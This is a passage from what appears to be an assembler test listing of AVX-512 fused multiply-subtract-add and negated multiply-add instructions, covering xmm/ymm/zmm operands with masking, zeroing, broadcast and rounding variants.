vfmsubadd132pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsubadd132pd ymm16, ymm13, ymm15
vfmsubadd132pd ymm16, ymm13, [rbx]
vfmsubadd132pd ymm16, ymm13, [rbx]{1to4}
vfmsubadd132pd ymm16, ymm13, [rbx+r11*8+256]
vfmsubadd132pd ymm16, ymm13, [rbx+r11*8-256]
vfmsubadd132pd ymm16{k5}, ymm13, ymm15
vfmsubadd132pd ymm16{k5}, ymm13, [rbx]
vfmsubadd132pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmsubadd132pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsubadd132pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsubadd132pd ymm16{k5}{z}, ymm13, ymm15
vfmsubadd132pd ymm16{k5}{z}, ymm13, [rbx]
vfmsubadd132pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmsubadd132pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsubadd132pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsubadd132pd zmm24, zmm24, zmm31
vfmsubadd132pd zmm24, zmm24, zmm31, {rd-sae}
vfmsubadd132pd zmm24, zmm24, [rbx]
vfmsubadd132pd zmm24, zmm24, [rbx]{1to8}
vfmsubadd132pd zmm24, zmm24, [rbx+r11*8+256]
vfmsubadd132pd zmm24, zmm24, [rbx+r11*8-256]
vfmsubadd132pd zmm24{k5}, zmm24, zmm31
vfmsubadd132pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsubadd132pd zmm24{k5}, zmm24, [rbx]
vfmsubadd132pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmsubadd132pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsubadd132pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsubadd132pd zmm24{k5}{z}, zmm24, zmm31
vfmsubadd132pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsubadd132pd zmm24{k5}{z}, zmm24, [rbx]
vfmsubadd132pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmsubadd132pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsubadd132pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsubadd132ps xmm2, xmm7, xmm0
vfmsubadd132ps xmm2, xmm7, [rbx]
vfmsubadd132ps xmm2, xmm7, [rbx]{1to4}
vfmsubadd132ps xmm2, xmm7, [rbx+r11*8+256]
vfmsubadd132ps xmm2, xmm7, [rbx+r11*8-256]
vfmsubadd132ps xmm2{k5}, xmm7, xmm0
vfmsubadd132ps xmm2{k5}, xmm7, [rbx]
vfmsubadd132ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmsubadd132ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsubadd132ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsubadd132ps xmm2{k5}{z}, xmm7, xmm0
vfmsubadd132ps xmm2{k5}{z}, xmm7, [rbx]
vfmsubadd132ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmsubadd132ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsubadd132ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsubadd132ps ymm16, ymm13, ymm15
vfmsubadd132ps ymm16, ymm13, [rbx]
vfmsubadd132ps ymm16, ymm13, [rbx]{1to8}
vfmsubadd132ps ymm16, ymm13, [rbx+r11*8+256]
vfmsubadd132ps ymm16, ymm13, [rbx+r11*8-256]
vfmsubadd132ps ymm16{k5}, ymm13, ymm15
vfmsubadd132ps ymm16{k5}, ymm13, [rbx]
vfmsubadd132ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmsubadd132ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsubadd132ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsubadd132ps ymm16{k5}{z}, ymm13, ymm15
vfmsubadd132ps ymm16{k5}{z}, ymm13, [rbx]
vfmsubadd132ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmsubadd132ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsubadd132ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsubadd132ps zmm24, zmm24, zmm31
vfmsubadd132ps zmm24, zmm24, zmm31, {rd-sae}
vfmsubadd132ps zmm24, zmm24, [rbx]
vfmsubadd132ps zmm24, zmm24, [rbx]{1to16}
vfmsubadd132ps zmm24, zmm24, [rbx+r11*8+256]
vfmsubadd132ps zmm24, zmm24, [rbx+r11*8-256]
vfmsubadd132ps zmm24{k5}, zmm24, zmm31
vfmsubadd132ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsubadd132ps zmm24{k5}, zmm24, [rbx]
vfmsubadd132ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmsubadd132ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsubadd132ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsubadd132ps zmm24{k5}{z}, zmm24, zmm31
vfmsubadd132ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsubadd132ps zmm24{k5}{z}, zmm24, [rbx]
vfmsubadd132ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmsubadd132ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsubadd132ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsubadd213pd xmm2, xmm7, xmm0
vfmsubadd213pd xmm2, xmm7, [rbx]
vfmsubadd213pd xmm2, xmm7, [rbx]{1to2}
vfmsubadd213pd xmm2, xmm7, [rbx+r11*8+256]
vfmsubadd213pd xmm2, xmm7, [rbx+r11*8-256]
vfmsubadd213pd xmm2{k5}, xmm7, xmm0
vfmsubadd213pd xmm2{k5}, xmm7, [rbx]
vfmsubadd213pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmsubadd213pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsubadd213pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsubadd213pd xmm2{k5}{z}, xmm7, xmm0
vfmsubadd213pd xmm2{k5}{z}, xmm7, [rbx]
vfmsubadd213pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmsubadd213pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsubadd213pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsubadd213pd ymm16, ymm13, ymm15
vfmsubadd213pd ymm16, ymm13, [rbx]
vfmsubadd213pd ymm16, ymm13, [rbx]{1to4}
vfmsubadd213pd ymm16, ymm13, [rbx+r11*8+256]
vfmsubadd213pd ymm16, ymm13, [rbx+r11*8-256]
vfmsubadd213pd ymm16{k5}, ymm13, ymm15
vfmsubadd213pd ymm16{k5}, ymm13, [rbx]
vfmsubadd213pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmsubadd213pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsubadd213pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsubadd213pd ymm16{k5}{z}, ymm13, ymm15
vfmsubadd213pd ymm16{k5}{z}, ymm13, [rbx]
vfmsubadd213pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmsubadd213pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsubadd213pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsubadd213pd zmm24, zmm24, zmm31
vfmsubadd213pd zmm24, zmm24, zmm31, {rd-sae}
vfmsubadd213pd zmm24, zmm24, [rbx]
vfmsubadd213pd zmm24, zmm24, [rbx]{1to8}
vfmsubadd213pd zmm24, zmm24, [rbx+r11*8+256]
vfmsubadd213pd zmm24, zmm24, [rbx+r11*8-256]
vfmsubadd213pd zmm24{k5}, zmm24, zmm31
vfmsubadd213pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsubadd213pd zmm24{k5}, zmm24, [rbx]
vfmsubadd213pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmsubadd213pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsubadd213pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsubadd213pd zmm24{k5}{z}, zmm24, zmm31
vfmsubadd213pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsubadd213pd zmm24{k5}{z}, zmm24, [rbx]
vfmsubadd213pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmsubadd213pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsubadd213pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsubadd213ps xmm2, xmm7, xmm0
vfmsubadd213ps xmm2, xmm7, [rbx]
vfmsubadd213ps xmm2, xmm7, [rbx]{1to4}
vfmsubadd213ps xmm2, xmm7, [rbx+r11*8+256]
vfmsubadd213ps xmm2, xmm7, [rbx+r11*8-256]
vfmsubadd213ps xmm2{k5}, xmm7, xmm0
vfmsubadd213ps xmm2{k5}, xmm7, [rbx]
vfmsubadd213ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmsubadd213ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsubadd213ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsubadd213ps xmm2{k5}{z}, xmm7, xmm0
vfmsubadd213ps xmm2{k5}{z}, xmm7, [rbx]
vfmsubadd213ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmsubadd213ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsubadd213ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsubadd213ps ymm16, ymm13, ymm15
vfmsubadd213ps ymm16, ymm13, [rbx]
vfmsubadd213ps ymm16, ymm13, [rbx]{1to8}
vfmsubadd213ps ymm16, ymm13, [rbx+r11*8+256]
vfmsubadd213ps ymm16, ymm13, [rbx+r11*8-256]
vfmsubadd213ps ymm16{k5}, ymm13, ymm15
vfmsubadd213ps ymm16{k5}, ymm13, [rbx]
vfmsubadd213ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmsubadd213ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsubadd213ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsubadd213ps ymm16{k5}{z}, ymm13, ymm15
vfmsubadd213ps ymm16{k5}{z}, ymm13, [rbx]
vfmsubadd213ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmsubadd213ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsubadd213ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsubadd213ps zmm24, zmm24, zmm31
vfmsubadd213ps zmm24, zmm24, zmm31, {rd-sae}
vfmsubadd213ps zmm24, zmm24, [rbx]
vfmsubadd213ps zmm24, zmm24, [rbx]{1to16}
vfmsubadd213ps zmm24, zmm24, [rbx+r11*8+256]
vfmsubadd213ps zmm24, zmm24, [rbx+r11*8-256]
vfmsubadd213ps zmm24{k5}, zmm24, zmm31
vfmsubadd213ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsubadd213ps zmm24{k5}, zmm24, [rbx]
vfmsubadd213ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmsubadd213ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsubadd213ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsubadd213ps zmm24{k5}{z}, zmm24, zmm31
vfmsubadd213ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsubadd213ps zmm24{k5}{z}, zmm24, [rbx]
vfmsubadd213ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmsubadd213ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsubadd213ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsubadd231pd xmm2, xmm7, xmm0
vfmsubadd231pd xmm2, xmm7, [rbx]
vfmsubadd231pd xmm2, xmm7, [rbx]{1to2}
vfmsubadd231pd xmm2, xmm7, [rbx+r11*8+256]
vfmsubadd231pd xmm2, xmm7, [rbx+r11*8-256]
vfmsubadd231pd xmm2{k5}, xmm7, xmm0
vfmsubadd231pd xmm2{k5}, xmm7, [rbx]
vfmsubadd231pd xmm2{k5}, xmm7, [rbx]{1to2}
vfmsubadd231pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsubadd231pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsubadd231pd xmm2{k5}{z}, xmm7, xmm0
vfmsubadd231pd xmm2{k5}{z}, xmm7, [rbx]
vfmsubadd231pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfmsubadd231pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsubadd231pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsubadd231pd ymm16, ymm13, ymm15
vfmsubadd231pd ymm16, ymm13, [rbx]
vfmsubadd231pd ymm16, ymm13, [rbx]{1to4}
vfmsubadd231pd ymm16, ymm13, [rbx+r11*8+256]
vfmsubadd231pd ymm16, ymm13, [rbx+r11*8-256]
vfmsubadd231pd ymm16{k5}, ymm13, ymm15
vfmsubadd231pd ymm16{k5}, ymm13, [rbx]
vfmsubadd231pd ymm16{k5}, ymm13, [rbx]{1to4}
vfmsubadd231pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsubadd231pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsubadd231pd ymm16{k5}{z}, ymm13, ymm15
vfmsubadd231pd ymm16{k5}{z}, ymm13, [rbx]
vfmsubadd231pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfmsubadd231pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsubadd231pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsubadd231pd zmm24, zmm24, zmm31
vfmsubadd231pd zmm24, zmm24, zmm31, {rd-sae}
vfmsubadd231pd zmm24, zmm24, [rbx]
vfmsubadd231pd zmm24, zmm24, [rbx]{1to8}
vfmsubadd231pd zmm24, zmm24, [rbx+r11*8+256]
vfmsubadd231pd zmm24, zmm24, [rbx+r11*8-256]
vfmsubadd231pd zmm24{k5}, zmm24, zmm31
vfmsubadd231pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsubadd231pd zmm24{k5}, zmm24, [rbx]
vfmsubadd231pd zmm24{k5}, zmm24, [rbx]{1to8}
vfmsubadd231pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsubadd231pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsubadd231pd zmm24{k5}{z}, zmm24, zmm31
vfmsubadd231pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsubadd231pd zmm24{k5}{z}, zmm24, [rbx]
vfmsubadd231pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfmsubadd231pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsubadd231pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfmsubadd231ps xmm2, xmm7, xmm0
vfmsubadd231ps xmm2, xmm7, [rbx]
vfmsubadd231ps xmm2, xmm7, [rbx]{1to4}
vfmsubadd231ps xmm2, xmm7, [rbx+r11*8+256]
vfmsubadd231ps xmm2, xmm7, [rbx+r11*8-256]
vfmsubadd231ps xmm2{k5}, xmm7, xmm0
vfmsubadd231ps xmm2{k5}, xmm7, [rbx]
vfmsubadd231ps xmm2{k5}, xmm7, [rbx]{1to4}
vfmsubadd231ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfmsubadd231ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfmsubadd231ps xmm2{k5}{z}, xmm7, xmm0
vfmsubadd231ps xmm2{k5}{z}, xmm7, [rbx]
vfmsubadd231ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfmsubadd231ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfmsubadd231ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfmsubadd231ps ymm16, ymm13, ymm15
vfmsubadd231ps ymm16, ymm13, [rbx]
vfmsubadd231ps ymm16, ymm13, [rbx]{1to8}
vfmsubadd231ps ymm16, ymm13, [rbx+r11*8+256]
vfmsubadd231ps ymm16, ymm13, [rbx+r11*8-256]
vfmsubadd231ps ymm16{k5}, ymm13, ymm15
vfmsubadd231ps ymm16{k5}, ymm13, [rbx]
vfmsubadd231ps ymm16{k5}, ymm13, [rbx]{1to8}
vfmsubadd231ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfmsubadd231ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfmsubadd231ps ymm16{k5}{z}, ymm13, ymm15
vfmsubadd231ps ymm16{k5}{z}, ymm13, [rbx]
vfmsubadd231ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfmsubadd231ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfmsubadd231ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfmsubadd231ps zmm24, zmm24, zmm31
vfmsubadd231ps zmm24, zmm24, zmm31, {rd-sae}
vfmsubadd231ps zmm24, zmm24, [rbx]
vfmsubadd231ps zmm24, zmm24, [rbx]{1to16}
vfmsubadd231ps zmm24, zmm24, [rbx+r11*8+256]
vfmsubadd231ps zmm24, zmm24, [rbx+r11*8-256]
vfmsubadd231ps zmm24{k5}, zmm24, zmm31
vfmsubadd231ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfmsubadd231ps zmm24{k5}, zmm24, [rbx]
vfmsubadd231ps zmm24{k5}, zmm24, [rbx]{1to16}
vfmsubadd231ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfmsubadd231ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfmsubadd231ps zmm24{k5}{z}, zmm24, zmm31
vfmsubadd231ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfmsubadd231ps zmm24{k5}{z}, zmm24, [rbx]
vfmsubadd231ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfmsubadd231ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfmsubadd231ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmadd132pd xmm2, xmm7, xmm0
vfnmadd132pd xmm2, xmm7, [rbx]
vfnmadd132pd xmm2, xmm7, [rbx]{1to2}
vfnmadd132pd xmm2, xmm7, [rbx+r11*8+256]
vfnmadd132pd xmm2, xmm7, [rbx+r11*8-256]
vfnmadd132pd xmm2{k5}, xmm7, xmm0
vfnmadd132pd xmm2{k5}, xmm7, [rbx]
vfnmadd132pd xmm2{k5}, xmm7, [rbx]{1to2}
vfnmadd132pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd132pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd132pd xmm2{k5}{z}, xmm7, xmm0
vfnmadd132pd xmm2{k5}{z}, xmm7, [rbx]
vfnmadd132pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfnmadd132pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd132pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmadd132pd ymm16, ymm13, ymm15
vfnmadd132pd ymm16, ymm13, [rbx]
vfnmadd132pd ymm16, ymm13, [rbx]{1to4}
vfnmadd132pd ymm16, ymm13, [rbx+r11*8+256]
vfnmadd132pd ymm16, ymm13, [rbx+r11*8-256]
vfnmadd132pd ymm16{k5}, ymm13, ymm15
vfnmadd132pd ymm16{k5}, ymm13, [rbx]
vfnmadd132pd ymm16{k5}, ymm13, [rbx]{1to4}
vfnmadd132pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmadd132pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmadd132pd ymm16{k5}{z}, ymm13, ymm15
vfnmadd132pd ymm16{k5}{z}, ymm13, [rbx]
vfnmadd132pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfnmadd132pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmadd132pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmadd132pd zmm24, zmm24, zmm31
vfnmadd132pd zmm24, zmm24, zmm31, {rd-sae}
vfnmadd132pd zmm24, zmm24, [rbx]
vfnmadd132pd zmm24, zmm24, [rbx]{1to8}
vfnmadd132pd zmm24, zmm24, [rbx+r11*8+256]
vfnmadd132pd zmm24, zmm24, [rbx+r11*8-256]
vfnmadd132pd zmm24{k5}, zmm24, zmm31
vfnmadd132pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmadd132pd zmm24{k5}, zmm24, [rbx]
vfnmadd132pd zmm24{k5}, zmm24, [rbx]{1to8}
vfnmadd132pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmadd132pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmadd132pd zmm24{k5}{z}, zmm24, zmm31
vfnmadd132pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmadd132pd zmm24{k5}{z}, zmm24, [rbx]
vfnmadd132pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfnmadd132pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmadd132pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmadd132ps xmm2, xmm7, xmm0
vfnmadd132ps xmm2, xmm7, [rbx]
vfnmadd132ps xmm2, xmm7, [rbx]{1to4}
vfnmadd132ps xmm2, xmm7, [rbx+r11*8+256]
vfnmadd132ps xmm2, xmm7, [rbx+r11*8-256]
vfnmadd132ps xmm2{k5}, xmm7, xmm0
vfnmadd132ps xmm2{k5}, xmm7, [rbx]
vfnmadd132ps xmm2{k5}, xmm7, [rbx]{1to4}
vfnmadd132ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd132ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd132ps xmm2{k5}{z}, xmm7, xmm0
vfnmadd132ps xmm2{k5}{z}, xmm7, [rbx]
vfnmadd132ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfnmadd132ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd132ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmadd132ps ymm16, ymm13, ymm15
vfnmadd132ps ymm16, ymm13, [rbx]
vfnmadd132ps ymm16, ymm13, [rbx]{1to8}
vfnmadd132ps ymm16, ymm13, [rbx+r11*8+256]
vfnmadd132ps ymm16, ymm13, [rbx+r11*8-256]
vfnmadd132ps ymm16{k5}, ymm13, ymm15
vfnmadd132ps ymm16{k5}, ymm13, [rbx]
vfnmadd132ps ymm16{k5}, ymm13, [rbx]{1to8}
vfnmadd132ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmadd132ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmadd132ps ymm16{k5}{z}, ymm13, ymm15
vfnmadd132ps ymm16{k5}{z}, ymm13, [rbx]
vfnmadd132ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfnmadd132ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmadd132ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmadd132ps zmm24, zmm24, zmm31
vfnmadd132ps zmm24, zmm24, zmm31, {rd-sae}
vfnmadd132ps zmm24, zmm24, [rbx]
vfnmadd132ps zmm24, zmm24, [rbx]{1to16}
vfnmadd132ps zmm24, zmm24, [rbx+r11*8+256]
vfnmadd132ps zmm24, zmm24, [rbx+r11*8-256]
vfnmadd132ps zmm24{k5}, zmm24, zmm31
vfnmadd132ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmadd132ps zmm24{k5}, zmm24, [rbx]
vfnmadd132ps zmm24{k5}, zmm24, [rbx]{1to16}
vfnmadd132ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmadd132ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmadd132ps zmm24{k5}{z}, zmm24, zmm31
vfnmadd132ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmadd132ps zmm24{k5}{z}, zmm24, [rbx]
vfnmadd132ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfnmadd132ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmadd132ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmadd132sd xmm2, xmm7, xmm0
vfnmadd132sd xmm2, xmm7, xmm0, {rd-sae}
vfnmadd132sd xmm2, xmm7, [rbx]
vfnmadd132sd xmm2, xmm7, [rbx+r11*8+256]
vfnmadd132sd xmm2, xmm7, [rbx+r11*8-256]
vfnmadd132sd xmm2{k5}, xmm7, xmm0
vfnmadd132sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmadd132sd xmm2{k5}, xmm7, [rbx]
vfnmadd132sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd132sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd132sd xmm2{k5}{z}, xmm7, xmm0
vfnmadd132sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmadd132sd xmm2{k5}{z}, xmm7, [rbx]
vfnmadd132sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd132sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmadd132ss xmm2, xmm7, xmm0
vfnmadd132ss xmm2, xmm7, xmm0, {rd-sae}
vfnmadd132ss xmm2, xmm7, [rbx]
vfnmadd132ss xmm2, xmm7, [rbx+r11*8+256]
vfnmadd132ss xmm2, xmm7, [rbx+r11*8-256]
vfnmadd132ss xmm2{k5}, xmm7, xmm0
vfnmadd132ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmadd132ss xmm2{k5}, xmm7, [rbx]
vfnmadd132ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd132ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd132ss xmm2{k5}{z}, xmm7, xmm0
vfnmadd132ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmadd132ss xmm2{k5}{z}, xmm7, [rbx]
vfnmadd132ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd132ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmadd213pd xmm2, xmm7, xmm0
vfnmadd213pd xmm2, xmm7, [rbx]
vfnmadd213pd xmm2, xmm7, [rbx]{1to2}
vfnmadd213pd xmm2, xmm7, [rbx+r11*8+256]
vfnmadd213pd xmm2, xmm7, [rbx+r11*8-256]
vfnmadd213pd xmm2{k5}, xmm7, xmm0
vfnmadd213pd xmm2{k5}, xmm7, [rbx]
vfnmadd213pd xmm2{k5}, xmm7, [rbx]{1to2}
vfnmadd213pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmadd213pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmadd213pd xmm2{k5}{z}, xmm7, xmm0
vfnmadd213pd xmm2{k5}{z}, xmm7, [rbx]
vfnmadd213pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfnmadd213pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmadd213pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmadd213pd ymm16, ymm13, ymm15
vfnmadd213pd ymm16, ymm13, [rbx]
vfnmadd213pd ymm16, ymm13, [rbx]{1to4}
vfnmadd213pd ymm16, ymm13, [rbx+r11*8+256]
vfnmadd213pd ymm16, ymm13, [rbx+r11*8-256]
vfnmadd213pd ymm16{k5}, ymm13, ymm15
vfnmadd213pd ymm16{k5}, ymm13, [rbx]
vfnmadd213pd ymm16{k5}, ymm13, [rbx]{1to4}
vfnmadd213pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmadd213pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmadd213pd ymm16{k5}{z}, ymm13, ymm15
vfnmadd213pd ymm16{k5}{z}, ymm13, [rbx]
vfnmadd213pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfnmadd213pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmadd213pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmadd213pd zmm24, zmm24, zmm31
vfnmadd213pd zmm24, zmm24, zmm31, {rd-sae}
vfnmadd213pd zmm24, zmm24, [rbx]
vfnmadd213pd zmm24, zmm24, [rbx]{1to8}
vfnmadd213pd zmm24, zmm24, [rbx+r11*8+256]
vfnmadd213pd zmm24, zmm24, [rbx+r11*8-256]
vfnmadd213pd zmm24{k5}, zmm24, zmm31
vfnmadd213pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmadd213pd zmm24{k5}, zmm24, [rbx]
vfnmadd213pd zmm24{k5}, zmm24, [rbx]{1to8}
vfnmadd213pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmadd213pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmadd213pd zmm24{k5}{z}, zmm24, zmm31
vfnmadd213pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmadd213pd zmm24{k5}{z}, zmm24, [rbx]
vfnmadd213pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfnmadd213pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmadd213pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmadd213ps xmm2, xmm7, xmm0
vfnmadd213ps xmm2, xmm7, [rbx]
vfnmadd213ps xmm2, xmm7, [rbx]{1to4}
vfnmadd213ps xmm2, xmm7, [rbx+r11*8+256]
vfnmadd213ps xmm2, xmm7, [rbx+r11*8-256]
